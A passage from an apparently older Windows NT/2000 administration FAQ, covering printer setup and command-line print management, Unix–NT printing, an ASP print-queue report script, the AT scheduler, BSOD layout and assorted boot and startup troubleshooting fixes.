If the port on the printer is incorrect (i.e. for a JetDirect card it will use 9100 but the actual port is 9099 for an internal card) perform the following:

  1. Select Settings - Printers from the Start menu
  2. Right click on the network printer and select Properties
  3. Select the Ports tab
  4. Select the IP port and click 'Configure Port'
  5. Under the Raw Settings section you can change the port number. Click OK
  6. Click Close to the main properties dialog


Q. How can I view print jobs from the command line?

A. Windows NT provides built in ability to monitor print queues from the command line using the NET PRINT command.

To view the current print queue use syntax

C:\> net print \\<server>\<print share>

For example:

C:\>net print \\LNPSPA0001\LNPRTP0017

Printers at \\LNPSPA0001

Name Job # Size Status

-------------------------------------------------------------------------------
LNPRTP0017 Queue 1 jobs *Printer Active*
saviljo 247 120 Printing
The command completed successfully.

Notice there is a single print job by user saviljo which is being printed.


Q. How can I delete a print job from the command line?

A. You can delete a print job using the NET PRINT command but must first know its job id and this can be ascertained by typing

C:\> net print \\<server>\<print share>
<user> <job id> <size> <status>

Once you know the job ID to delete just type

C:\> net print \\<server> <job number> /delete (or /del)


Q. How can I add a printer to the send to context option?

A. To add a printer to the send to context option perform the following:

  1. Start Explorer
  2. Move to your SendTo folder of your profile, e.g. %systemroot%\Profiles\<user>\SendTo
  3. Open the printers folder (Start - Settings - Printers)
  4. Right click on the printer and drag to the SendTo directory and select 'Create shortcut here'
  5. Rename the shortcut to a shorter name by pressing F2

You will now be able to right click on a document and send to the printer, cool!


Q. Sharing printers between Unix and NT.

A. I have enclosed instructions for printing to Unix servers (almost the same as for network printers), and also how the NT machine can be used as a gateway for 2 way printing between windows (all versions) and Unix. The Unix use is AIX, although the others should be similar.

Setting up NT for TCP/IP printing

  1. Login as a member of the Administrators Group
  2. Start Control Panel
  3. Double Click Network, and select the Services tab
  4. Click Add, and select "Microsoft TCP/IP printing"
  5. Click OK and then Close
  6. Click "No" to delay reboot
  7. TCP/IP Print server service must be set to start automatically (Start - Settings - Control Panel - Services - TCP/IP Print Server - Startup - Automatic)
  8. Reboot the system

Adding a remote print queue

  1. Double Click "My Computer"
  2. Double click Printers, and select Add Printer
  3. Select "Printer is a local printer", and then continue
  4. Click Add Port, and select "LPR port"
  5. Click New Port and fill in the IP address of the printer (or name from local hosts table) in the top box, enter the remote queue name in the bottom box
  6. Click Next and then select the printer driver
  7. Click Next and select if you want to share it, and then click Finish
  8. To authorize prints from this NT machine, as root edit "/etc/hosts.lpd"
  9. Add the NT machine's IP address (or name if it has an entry in the Unix machine's hosts table)

Sharing NT printers with unix machines

It is necessary to add a registry key as for UNIX to successfully pass data to an NT server the data type must be set to RAW.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LPDSVC\Parameters
  3. From the Edit menu select New - DWORD value
  4. Enter a name of SimulatePassThrough and press Enter
  5. Double click the new value and set to 1. Click OK

    6. The default value for SimulatePassThrough is 0, which informs LPD to assign data types according to the control commands.

  6. Close the registry editor
  7. Start – Settings – Printers
  8. Right click on printer to be shared
  9. Select properties
  10. Select shared tab
  11. Select shared
  12. Enter share name (this is what the unix machine will see it as)
  13. Select Security tab
  14. Select Permissions
  15. Ensure unix users have permissions to print, either by "everyone" or "network" having permission (Print is all that is required)
  16. Click OK

    17. Create a queue on the unix machine as normal, for a text only print queue on aix use:

  17. run "smit mkpq"
  18. Select "remote"
  19. Select "local filtering before sending to print server"
  20. In the names section, type <desired queue name> against ASCII
  21. Set hostname to be hostname of the NT machine
  22. Set queue to be share name of queue on NT machine
  23. Set type of print spooler to be "BSD"
  24. Press enter to confirm

Using an NT machine as a Windows - Unix print gateway

  1. Add any unix printers you wish to share to NT machine as shown above.
  2. Share them out as if they were normal print queues.
  3. Add them to all the clients you wish to print to them from
  4. Share out any clients you wish to print from on the unix machine(s) as normal
  5. Add these shared windows printers to the NT machine as normal.
  6. Share them out to the unix machine(s) as shown above

Thanks to Chris Griffiths for this


Q. How can I set the default printer from the command prompt?

A. A new utility has been written called DEFPRINT.EXE which allows the default printer to be set from the command prompt.

A couple of examples...

D:\>defprint /p
Found 2 printers

PrinterName: \\EDUC-HQ\Comm Ed (North)
ServerName: \\EDUC-HQ
PortName: edu-ce-hp5-2
DriverName: HP LaserJet 5
PrintProcessor: winprint
ShareName: commed-2

PrinterName: \\EDUC-HQ\Comm Ed (South)
ServerName: \\EDUC-HQ
PortName: EDU_COMMED_HP5M
DriverName: HP LaserJet 5
PrintProcessor: winprint
ShareName: commed-1

D:\>defprint /d commed-1
Would set the default printer to commed-1

Equally,

D:\>defprint /d edu_commed_hp5m
would do the same job

D:\>defprint /d lpt1
Would set the default printer to be the local printer (only if it existed)


Q. How can I maintain printer information for my domain?

A. Below is a scipt which will go through the servers you choose in the domain and will dynamically query the servers via ADSI to get the ShareName, PrintDriver, Comment, PrinterPort (IPA, etc...), and PrinterStatus. This script was written by Aaron Shepherd.

Here is the script, in ASP:

<%
sub DisplayPrinterForServer(ServerToDisplay)
dim member, bstrFilter
dim PrintQObj, PrintQClass, computerName
dim item, property
dim aStr, domainMembers, computer, computerFilter

computerName = ServerToDisplay
set bstrNS = getObject("WinNT://" & computerName)

'response.write bstrNS.Name & ": " & bstrNS.class & "<br>"

bstrFilter = array("PrintQueue")
bstrNS.Filter = bstrFilter

response.write "<big><big><b>Printers available at: " & bstrNS.Name
& "</b></big></big><p>"

response.write "<table border=""1"" width=""100%""
align=""center"">"
response.write
"<tr><td><b><big>ShareName:</big></b></td><td><b><big>Print
Driver:</big></b></td><td><b><big>Comment:</big></b></td><td><b><big>Port:</
big></b></td><td><b><big>Status:</big></b></td></tr>"

response.write "<tr>"
for each member in bstrNS
response.write "<td width=""15%""><b>" & Member.name &
"</b></td><td width=""25%""> " & member.model & "</td>"
response.write "<td width=""25%"">" & Member.description &
"&nbsp</td><td width=""20%"">" & Member.PrintDevices & "</td>"

response.write "<td width=""15%"">"
if (Member.Status and &H00000000) <> 0 then
response.write "<b>"
end if

select case Member.Status
case &H00000000: response.write "OK"
case &H00000001: response.write "Paused"
case &H00000002: response.write "Pending Deletion"
case else: response.write "Unknown: " &
Member.Status
end select

if (Member.Status and &H00000000) <> 0 then
response.write "</b>"
end if
response.write "</td>"

response.write "</tr>"
next

response.write "</table>"
end sub

'You will need to adjust depending on the number of servers you are
querying. It takes 600 seconds for 20 servers
Server.ScriptTimeOut = 700

response.write "<big><big><big><b>Printer Queues on Servers in
YourDomain</b></big></big></big><hr><br><b>Note this will take 5 minutes to
load and you will be notified when it is done.</b><br><br>"

DisplayPrinterForServer("server1")
DisplayPrinterForServer("server2")
DisplayPrinterForServer("server3")
DisplayPrinterForServer("server4")
DisplayPrinterForServer("server5")
DisplayPrinterForServer("server6")
DisplayPrinterForServer("server7")
DisplayPrinterForServer("server8")

response.write "<br>Completed ASP processing:"
%>


Q. What are the printer improvements in SP6 for NT 4.0?

A. Knowledge base article Q242035 outlines changes in SP6 to printing which are outlined below.

The following problems have been addressed:

  • A print job hanging on a printer in a printer pool should resume after the error condition has been resolved.
  • A print job should not be sent to a printer from a printer pool if the printer is not available (unless its a low toner error)
  • If the print job is not printed within a configurable amount of time, the spooler should be able to redirect the job to the next available printer in the pool.
Two registry values have been created under the following registry key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Providers
These values can only be configured per server:
  • RestartJobOnPoolError (REG_DWORD) - configures the time (in seconds) after which a job in the pool should be restarted if the port is in an error state and the error condition has not been resolved.
  • RestartJobOnPoolEnabled (REG_DWORD) - Any value greater than zero enables this behavior, 0 disables it.


Q. How can I add a printer from the command line?

A. Microsoft have a utility which can add printers from the command line but its only available to OEM suppliers. Another option is by directly manipulating the printui.dll dynamic link library.

rundll32 printui.dll,PrintUIEntry [options]

For example to add a HP DeskJet 970Cxi on LPT1: on Windows 2000 use the following:

D:\>rundll32 printui.dll,PrintUIEntry /if /b "HP DeskJet 970Cxi" /f %windir%\inf\ntprint.inf /r "lpt1:" /m "HP DeskJet 970Cxi"

Other options are:

/a[file] binary file name
/b[name] base printer name
/c[name] unc machine name if the action is on a remote machine
/dl delete local printer
/dn delete network printer connection
/dd delete printer driver
/e display printing preferences
/f[file] either inf file or output file
/ga add per machine printer connections
/ge enum per machine printer connections
/gd delete per machine printer connections
/h[arch] driver architecture one of the following, Alpha | Intel | Mips | PowerPC
/ia install printer driver using inf file
/id install printer driver using add printer driver wizard
/if install printer using inf file
/ii install printer using add printer wizard with an inf file
/il install printer using add printer wizard
/in add network printer connection
/j[provider] print provider name
/k print test page to specified printer, cannot be combined with command when installing a printer
/l[path] printer driver source path
/m[model] printer driver model name
/n[name] printer name
/o display printer queue view
/p display printer properties
/q quiet mode, do not display error messages
/r[port] port name
/s display server properties
/Ss Store printer settings into a file
/Sr Restore printer settings from a file
Store or restore printer settings option flags that must be placed at the end of command:
2 PRINTER_INFO_2
7 PRINTER_INFO_7
c Color Profile
d PrinterData
s Security descriptor
g Global DevMode
m Minimal settings
u User DevMode
r Resolve name conflicts
f Force name
p Resolve port
/u use the existing printer driver if it's already installed
/t[#] zero based index page to start on
/v[version] driver version one of the following, Windows 95 or 98 | Windows NT 3.1 | Windows NT 3.5 or 3.51 | Windows NT 3.51 | Windows NT 4.0 | Windows NT 4.0 or 2000 | Windows 2000
/w prompt the user for a driver if specified driver is not found in the inf
/y set printer as the default
/Xg get printer settings
/Xs set printer settings
/z do not auto share this printer
/Z share this printer, can only be used with the /if option
/? help this message
@[file] command line argument file

Examples:
Run server properties:
rundll32 printui.dll,PrintUIEntry /s /t1 /n\\machine
Run printer properties:
rundll32 printui.dll,PrintUIEntry /p /n\\machine\printer
Run add printer wizard localy:
rundll32 printui.dll,PrintUIEntry /il
Run add printer wizard on \\machine:
rundll32 printui.dll,PrintUIEntry /il /c\\machine
Run queue view:
rundll32 printui.dll,PrintUIEntry /o /n\\machine\printer
Run inf install:
rundll32 printui.dll,PrintUIEntry /if /b "Test Printer" /f %windir%\inf\ntprint.inf /r "lpt1:" /m "AGFA-AccuSet v52.3"
Run add printer wizard using inf:
rundll32 printui.dll,PrintUIEntry /ii /f %windir%\inf\ntprint.inf
Add per machine printer connection:
rundll32 printui.dll,PrintUIEntry /ga /c\\machine /n\\machine\printer /j"LanMan Print Services"
Delete per machine printer connection:
rundll32 printui.dll,PrintUIEntry /gd /c\\machine /n\\machine\printer
Enumerate per machine printer connections:
rundll32 printui.dll,PrintUIEntry /ge /c\\machine
Add printer driver using inf:
rundll32 printui.dll,PrintUIEntry /ia /c\\machine /m "AGFA-AccuSet v52.3" /h "Intel" /v "Windows 2000" /f %windir%\inf\ntprint.inf
Remove printer driver:
rundll32 printui.dll,PrintUIEntry /dd /c\\machine /m "AGFA-AccuSet v52.3" /h "Intel" /v "Windows 2000"
Set printer as default:
rundll32 printui.dll,PrintUIEntry /y /n "printer"
Set printer comment:
rundll32 printui.dll,PrintUIEntry /Xs /n "printer" comment "My Cool Printer"
Get printer settings:
rundll32 printui.dll,PrintUIEntry /Xg /n "printer"
Get printer settings saving results in a file:
rundll32 printui.dll,PrintUIEntry /f "results.txt" /Xg /n "printer"
Set printer settings command usage:
rundll32 printui.dll,PrintUIEntry /Xs /n "printer" ?
Store all printer settings into a file:
rundll32 printui.dll,PrintUIEntry /Ss /n "printer" /a "file.dat"
Restore all printer settings from a file:
rundll32 printui.dll,PrintUI /Sr /n "printer" /a "file.dat"
Store printer information on level 2 into a file :
rundll32 printui.dll,PrintUIEntry /Ss /n "printer" /a "file.dat" 2
Restore from a file printer security descriptor:
rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat" s
Restore from a file printer global devmode and printer data:
rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat" g d
Restore from a file minimum settings and resolve port name:
rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat" m p

Also see Knowledge Base article Q189105 (http://support.microsoft.com/support/kb/articles/Q189/1/05.ASP)

Another option is to use the START command:

start \\print_server\print_name

The first time the system asks if you want to install the new printer to your system. No wizards and no questions to answer. The driver is directly downloaded from the printer server.


Q. How can a printer be listed in the Active Directory?

A. When you share a printer you have the option to list it in the Active Directory which will enable users to search for it and find printers nearest to their location.

To share a printer in the Active Directory perform the following:

  1. Right click on the printer you wish to list in the Active Directory and select Properties
  2. Select the 'Sharing' tab
  3. Check the 'List in the Directory' box
  4. You can also select the General tab and enter details of location for the printer
  5. Click Apply then OK


Q. How can I print from the command window/use lpt1 etc?

A. There are really two questions here. If you know a server and a printer share and you just need to print a file this can be done by copying to the print share, for example:

C:\> copy readme.1st \\morpheus\HPLaserJ

You may however need to actually use a device such as LPT1 and for this we can use the "net use" command.

C:\> net use lpt1 \\10.129.210.71\HPLaserJ [/p:n]

The /p:n makes the connection non-persistent.

If this fails check lpt1 is not already in use:

C:\> net use lpt1
Local name LPT1
Remote name \\10.129.210.71\HPLaserJ
Resource type Print
Status OK
# Opens 0
# Connections 1
The command completed successfully.

And if you want to delete the existing connection perform the following:

C:\> net use lpt1 /d
lpt1 was deleted successfully.

You can then use lpt1: as if its a local port for command based programs.

The Windows 2000 Resource Kit also supplies CON2PRT which can be used to connect to a printer, e.g.

C:\> con2prt /c \\morpheus\HPLaserJ
Connected to printer: \\morpheus\HPLaserJ

Which actually adds the printer as a normal printer under Printers control panel applet. Using /cd sets it to the machines default printer.


Q. How can I check/replace incompatible Windows 2000 printer drivers?

A. On the Windows 2000 CD is a folder \Printers\Fixprnsv which contains a utility fixprnsv.exe which can be used to either replace NT 4.0 printer drivers with the Windows 2000 equivalent, or replace NT 4.0 drivers that are known to have problems.

If ran with the /fix switch on an NT 4.0 machine Windows 2000 drivers will be installed allowing Windows 2000 clients to connect and use the print server. If ran on a Windows 2000 server then it will replace all non-NT 4 compatible printer drivers with compatible ones allowing NT 4 client access.

Running with the /diag switch just checks for incompatible drivers but does not replace any.

For full instructions see Knowledge Base article http://support.microsoft.com/support/kb/articles/Q247/1/96.ASP.


Q. How can I administer printers via the web?

A. Windows 2000 adds a virtual directory Printers (which points to %systemroot%\web\printers) to the IIS service which allows remote managing of printers on a server, just connect to

http://<server>/Printers

It will display a list of all printers and then clicking on a printer allows documents on the printer to be managed as well as viewing its properties.


Q. I have installed Office 97 now I can no longer use Desktop Themes.

A. There was a bug with Office97 that corrupted the JPEG loader. Download the patch (ThemeFix.exe)


Q. I cannot delete a file called AUX.BAT or COM1!

A. A file of which the name (or a part of it) is equal to a DOS devices (NUL, COMx, AUX, LPTx, PRN...) cannot be deleted with Explorer or the usual DEL syntax. Use DEL \\.\drive:\path\AUX.BAT instead (replace drive and path with appropriate values). (The files may be the remains of a failed installation, you can create them e.g. with COPY some existing file \\.\drive:\path\COM1)


Q. The AT command does not work!

A. A sine qua non to use AT is a running Schedule service. To start it, type 'net start schedule' on the command line or use Control Panel/Services (if you want to use it regularly, set the Startup Type to Automatic). A common problem is that people try to use the example given in the online help: AT sometime CMD /C DIR > TEST.OUT.

Unfortunately, in NT 4.0, this does not work anymore. You must use AT sometime CMD /C \"DIR > TEST.OUT\" instead.

Note: You must now include an escaped quote before the command and after the file name you are redirecting the output to.

The execution of the command starts by default in %systemroot%\system32, as can be seen from the output of the above example. You should specify the complete path if the command is in a different directory, e.g. AT sometime C:\TEMP\TEST.BAT. A further problem is that the command is executed in the security context of the LOCAL SYSTEM account, not the caller. However, the SYSTEM account does not have access to network resources, so your program cannot reside or access files on mapped drives (even if they are mapped from the local machine!). Also, environment variables (e.g. PATH) may be set differently. You can test the environment interactively with AT sometime /INTERACTIVE CMD.

The AT command in NT runs under the SYSTEM account and therefore has no privileges to the network resources. (i.e. Can't write or read a file from the network). But if you go into Control Panel - Services - Scheduler and change the "Log On As" to a user that has the appropriate permissions (a user with access to the network), then an AT command that runs can actually use the network. This may be useful if you find submitted jobs are failing at certain network operations.


Q. I can't format a disk/ create an Emergency Repair disk?

A. There are a number of possible problems. Firstly if using Service Pack 2 ensure you have the kernel fix applied. Also some virus killers (such as Dr Solomons) lock up drives making a format impossible as NT thinks the drive is locked (this is why you can't create an Emergency Repair disk). Stop the virus process using control panel - services and click on the Virus Killer process and press stop. Once the disk is formatted or the Emergency Repair disk go back to control panel and start the virus killer process again.


Q. When I change CD's/access the floppy drive NT crashes.

A. This is probably the bug in Service Pack 2. If you have service pack 2 then apply the KERNEL Fix.


Q. After a new installation of NT, I can logon but no shell starts.

A. Usually a normal user will have this problem, not an Administrator, as the problem is security on files. To cure this problem the security on the %systemroot% needs to be set so the Everyone group has RX access (Read, Execute)

If the shell does not start from any account try the following:

  1. Logon as Administrator
  2. Press Ctrl-Alt-Del to start the Security dialog. Click 'Task Manager'
  3. Select the Applications tab. Click 'New Task'
  4. Select Browse and move to the %systemroot% directory
  5. Right click on Explorer.exe and select Properties
  6. Select the Security tab and click Advanced (if you have SP4 installed)
  7. Select the Ownership tab
  8. Take ownership
  9. You should now be able to start Explorer and fix the permission problem

If the above fails you will need to:

  • Reformat the drive and reinstall
  • Boot from another installation of NT that does not have this problem
  • Install onto another volume that does not have security set

For more information see http://support.microsoft.com/support/kb/articles/q155/5/79.asp


Q. I have a Matrox Millenium graphics card and the windows blink and flash when moved.

A. If you are using the graphics card at 1600 x 1200 resolution in True Color (24-bit) or True Color (32-bit) mode, a window's frame may blink or flash when you drag the window across the screen. This is a known problem, and resolve, enable the Show Window Contents While Dragging option from the Plus tab on the Display control dialog (Start - Settings - Control Panel - Display)


Q. When I start NT I get NTDETECT twice.

A. This is caused by a missing or corrupt NTDETECT.COM. To resolve, copy the latest NTDETECT.COM from either the latest service pack, or if no service packs have been applied, from NT installation disk 1.


Q. My desktop disappears after a crash.

A. By default, if Explorer crashes it automatically restarts, however this may have been corrupted or changed so using the registry editor change the value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell to 1.


Q. I have installed a second CPU, however NT will not recognize it.

A. When moving from a single CPU to dual-CPU, multiprocessor versions of a number of NT files, including the HAL and the OS kernel, must be installed. The UPTOMP.EXE utility, contained in the NT Resource Kits, installs the multiprocessor files. The files can be installed manually (see the MS Knowledge Base articles Q156358 "How to Manually Add Support for a Second Processor" and Q168132 "After Applying Service Pack NT Reports Single Processor").

The MS Knowledge Base article Q142660 (http://support.microsoft.com/support/kb/articles/q142/6/60.asp ) "Upgrade from Uni- to Multiprocessor (Uptomp.exe) and Win32k.sys" describes a known problem when using UPTOMP.EXE on a version 4.0 NT system. The fix, described in the article, adding the following line to the file uptomp.inf, located at the base directory of the Resource Kit installation, e.g., reskit.

win32k.sys=0, 2, win32k.sys

Finally, if you install the multiprocessor files on a system to which a Service Pack has been applied, you probably need to reapply the Service Pack after running UPTOMP.EXE and before rebooting. Until you reapply the Service Pack your disk contains a mix of file versions, with the multiprocessor files at the revision level of the distribution media and files already present at the Service Pack revision level. Such a mix of versions can cause your reboot to fail.

For Compaq Proliant servers, Compaq has provided a very automated method of changing the HAL, which does not require the NT Resource Kit, and is distributed on the Compaq SmartStart CD. 45 minutes seems to be the time from opening the case till the last reboot and that was by a user!


Q. I reinstalled NT, now I cannot logon.

A. When you reinstall NT, a new SID is created. It is therefore necessary to remove the computer account for the machine from the NT server, and then add a new entry.


Q. I have Windows 95 installed, and I am trying to start the NT installation but it fails.

A. If you want to install NT with 95 installed, start a DOS session (command.com) and first type
lock
which enables direct disk access for the NT installation program. Remember also to use winnt.exe (not winnt32.exe)


Q. An Application keeps starting every time I start NT.

A. Applications can be started from a number of places

  • In the Startup Folder for the current user, and all user group
  • In the registry:
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows, run and Load keys
  • %systemroot%\win.ini

The easiest way would be to search the registry using REGEDIT on the application name


Q. Each time I start NT I get a file delete sharing violation?

A. There is a problem with TweakUI and the clear document history at startup option which can result in an error "Cannot delete <filename>, there has been a sharing violation". Disable the TweakUI Document History clear option or live with pressing OK each time.


Q. Sometimes when I run a program or Control Panel applet it says "no disk in drive a:".

A. It is possible the NT path statement has an "a:" included. Check the following

  • Registry entry HKEY_LOCAL_MACHINE\SYSTEM\Setup\WinntPath
  • Registry entry HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\Path
  • Control Panel - System - Environment - the global and user path statements
  • Autoexec.bat
  • %systemroot%/system32/Autoexec.nt


Q. When I try and create an Emergency Repair Disk I get an error: One or more configuration files missing.

A. Run the "RDISK /S" a few times and this error will fix itself.


Q. I have installed Service Pack 3, now I cannot run Java programs.

A. Download the latest version of Internet Explorer which includes the latest virtual machines. There is also a hotfix for Service Pack 3 available from Microsoft ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/archive/java-fix/JAVAFIXI.EXE .


Q. Every time I start NT, explorer is started showing the system32 directory.

A. This is caused by an incorrect program call at startup, search the areas a program can be started from for an incorrect entry, these are listed at An Application keeps starting every time I start NT.

One example is as follows:

  1. Start the Registry Editor (regedit.exe).
  2. Open this registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  3. Verify that all the values in these keys do not contain any incorrect, incomplete, or null entries (such as "").
  4. If the (Default) Name variable has a value of "" (an empty string), delete the Name variable. After the deletion, the value for (Default) should be "(value not set)".

This should resolve the problem. Obviously the above is only one possible cause and so all entries should be checked.


Q. I have removed my IDE CD-ROM drive, now NT will not boot.

A. Unless it is hardware related, such as you have not connected the cable correctly or you have not set the master/slave correctly you need to perform the actions below before disconnection the CD-ROM drive. Therefore if you have already disconnected the CD-ROM you should reconnect it temporarily.

  1. Start the SCSI Control Panel applet (Start - Settings - Control Panel - SCSI) and click the drivers tab
  2. Select the "IDE CD-ROM (ATAPI 1.2)" and click Remove
  3. Next click the Devices Control Panel applet and select the ATAPI device and click startup. Set the startup type to disabled.
  4. Select the ATDISK device and choose startup. For the type select Boot and choose OK.
  5. Copy ATDISK.SYS from the i386 directory on the NT installation CD-ROM to the %systemroot%\system32\drivers directory
  6. Shutdown Windows NT and remove the CD-ROM

You should now be able to boot normally. See Knowledge base article Q125933 for more information.


Q. I get the error, WNetEnumCachedPasswords could not be located in MPR.DLL

A. This is usually caused by an incorrect mapi32.dll, sometimes software installs the Windows95 version. Copy mapi32.dll from your NT installation CD-ROM to %systemroot%/system32.


Q. What information is shown in the Blue Screen of Death (BSOD) ?

A. The NT operating system has 2 basic layers, the user mode and kernel mode. The user mode cannot directly access hardware, is limited to an assigned address space and operates at Ring 3 (lower priority). If a user mode program has an error, then NT just halts the programs process and generates an Operation error, and as the application runs in its own virtual address it cannot affect any other program. Common components that run in user mode are

  • Logon Process
  • Security Subsystem
  • Win32 Application and Subsystem
  • OS/2 Application and Subsystem
  • POSIX Application and Subsystem

NT 4.0 introduced a change in the NT architecture as Kernel mode process run much faster (Ring 0) they moved Video and Printer drivers from User mode to Kernel mode. Kernel mode is a privileged processor mode, allowing direct access to the memory and hardware. Kernel mode errors are not usually recoverable and a reboot of the system will be required. The BSOD is a built in error trapping mechanism which is used to halt any further processing to avoid system/data corruption. This means a faulty graphics/print driver could now crash NT. Components in kernel mode are

  • Various managers, handling IO, objects, security, IPC (inter process communication), graphics, window and virtual memory
  • Microkernel that provides the basic Operating System functionality
  • Hardware Abstraction Layer
  • Device Drivers

But what does the BSOD (or STOP message screen) show? Below is the basic structure of the BSOD, however what you see will differ and you may not have some of the sections as I'll explain below

--------------------------------------------------
Section 1: Debug Port Status Indicators
DSR CTS SND
--------------------------------------------------
Section 2: BugCheck Information
*** STOP: 0x0000000A (0x00000002,0x00000000,0xDB30442D)
IRQL_NOT_LESS_OR_EQUAL *** Address db30442d has base at db300000 - matrxmil.SYS

CPUID: GenuineIntel 5.2.4 irql:1f SYSVER 0xF0000565
--------------------------------------------------
Section 3: Driver Information

Dll Base | DateStmp - Name | Dll Base | DateStmp - Name
80100000 | 2cd348a4 - ntoskrnl.exe | 80400000 | 2cd348b2 - hal.dll
80010000 | 2cd348b5 - ncrc810.sys | 80013000 | 2cda574d - SCSIPORT.SYS

etc..
--------------------------------------------------
Section 4: Kernel Build and Stack Dump
Address dword dump Build [1381] -Name
xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx - matrxmil.SYS
xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx - ntoskrnl.exe
xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx - ntoskrnl.exe
etc..
--------------------------------------------------
Section 5: Debug Port Information
Restart and set the recovery options in the system control panel
or the /CRASHDEBUG system start option if this message reappears,
contact your system administrator or technical support group

OR if you system is started with /debug or /crashdebug

Kernel Debugger Using : Com2 (Port 0x2f8, Baud Rate 9600)
Beginning Dump of physical memory
Physical memory dump complete. Contact your system administrator or
technical support group

Section 1: This section will only be shown if the system was start /debug or /crashdebug. To tell if your system is debugger enabled, just look at the boot menu when you start the machine and the words [debugger enabled] will be shown next to the Windows NT menu choice. To enable /debug follow the instructions below:

  1. Modify boot.ini to be editable
    attrib c:\boot.ini -r -s
  2. Edit the file and edit the Windows NT start line to include /debug (to tell the system to load the kernel debugger into memory at bootup) or /crashdebug (to tell the system to load the kernel debugger but swap it out to the pagefile). Other options are /Debugport to tell which COM port to use (by default COM2) and /Baudrate for the speed (by default 19200, better to be 9600), e.g.
    [operating systems]
    multi(0)disk(0)rdisk(0)partition(0)\WINDOWS="Windows NT" /debug /debugport=com3 /baudrate=9600
  3. Save the file
  4. Set boot.ini attributes back
    attrib c:\boot.ini +r +s

The 3 letter words are signals, e.g. RTS is Ready to Send, DSR Data Send Ready, CTS Clear to Send, and SND means data is being sent to the COM port

Section 2: This sections contains the error (or BugCheck) code with up to four developer-defined parameters (defined in the KeBugCheckEx() function call). In this case the BugCheck was 0x0000000A IRQL_NOT_LESS_OR_EQUAL which means a process attempted to access pageable memory at a process level that was to high and is usually caused by a device driver.

For example, a BugCheck of 0x00000077 or 0x0000007A mean the pagefile could not be loaded into memory. The second hexadecimal value will help you diagnose the cause, e.g.

0xC000009A | STATUS_INSUFFICIENT_RESOURCES, caused by lack of non-paged pool.
0xC000009C | STATUS_DEVICE_DATA_ERROR, generally due to bad block on the drive.
0xC000009D | STATUS_DEVICE_NOT_CONNECTED, bad or loose cabling, termination, or controller not seeing drive.
0xC000016A | STATUS_DISK_OPERATION_FAILED, also caused by bad block on the drive.
0xC0000185 | STATUS_IO_DEVICE_ERROR, caused by improper termination or bad cabling on SCSI devices.

For a full list of what the codes mean see knowledge base article Q103059 at http://support.microsoft.com/support/kb/articles/q103/0/59.asp .

Section 3: This lists out all drivers that were loaded at the time of the crash. It is split into 2 sides, with 3 columns to each site. The first column is the link time stamp (in seconds since the year 1970) and can be converted into real time using the cvtime.exe application (f$cvtime on VMS :-) ).

Section 4: This shows the build number of the Operating System and a stack dump that shows the addresses that were used by the failed module. The top lines may show the offending code/driver, however not always as kernel trap handlers may execute last to preserve error information.

Section 5: This will depend on if you have the /debug setup, but it basically just shows the communication settings and if a .dmp file has been created.


Q. I have created my own application service, however when the user logs off the application stops.

A. When a user logs off, a number of messages are sent. For graphical applications the messages WM_QUERYENDSESSION and WM_ENDSESSION are sent, and to console (character mode) applications the message CTRL_LOGOFF_EVENT is sent. If your application responds to these messages then it may cause it to stop. You will need to modify your program to either ignore or handle the messages differently. There is more information on this in the resource kit.


Q. I can't install any software.

A. Sometimes the file config.nt can become corrupted, specifically the files= line, therefore:

  1. Start Notepad (Start - Programs - Accessories - Notepad)
  2. Open %systemroot%/system32/config.nt, e.g. d:/winnt/system32/config.nt
  3. Check at the bottom the line
    files=40
    If the files is something like
    files=20$%THY
    it has been corrupted and you should change to only have a number after the equals sign
  4. Save the file
  5. Reboot


Q. I get an error "This application is not supported by Windows NT".

A. This can sometimes be caused by the files

%SystemRoot%\system32\config.nt
%SystemRoot%\system32\autoexec.nt

not having everyone:full access protection if the boot partition is NTFS. To check/change this protection

  1. Start Explorer (Start - Programs - Explorer)
  2. Move to %SystemRoot%\system32 (e.g. d:\winnt\system32)
  3. Right click on the file (config.nt/autoexec.nt) and select properties
  4. Click the security tab and click Permissions
  5. You can then change/view the protection
  6. Click OK when finished

Incorrect or missing entries in either file can also cause problems. For example, removing the FILES=nnn line from CONFIG.NT will result in problems. Compare your files to another, working computer.

It can also be caused by a missing or damaged .dll file.

Expand the following files from the original Windows NT compact disc or you latest Service Pack/Hot fix to the %Systemroot%\System32 directory:

  • Compobj.dll
  • Ddeml.dll
  • Ole2.dll
  • Ole2disp.dll
  • Storage.dll
  • Ctl3dv2.Dll
  • Ole2nls.dll
  • Stdole.tlb
  • Typelib.dll
  • Ver.dll

NOTE: The Ver.dll file is located in the %SystemRoot%\System folder and the %SystemRoot%\System32 folder, and both versions have the same file size and date.

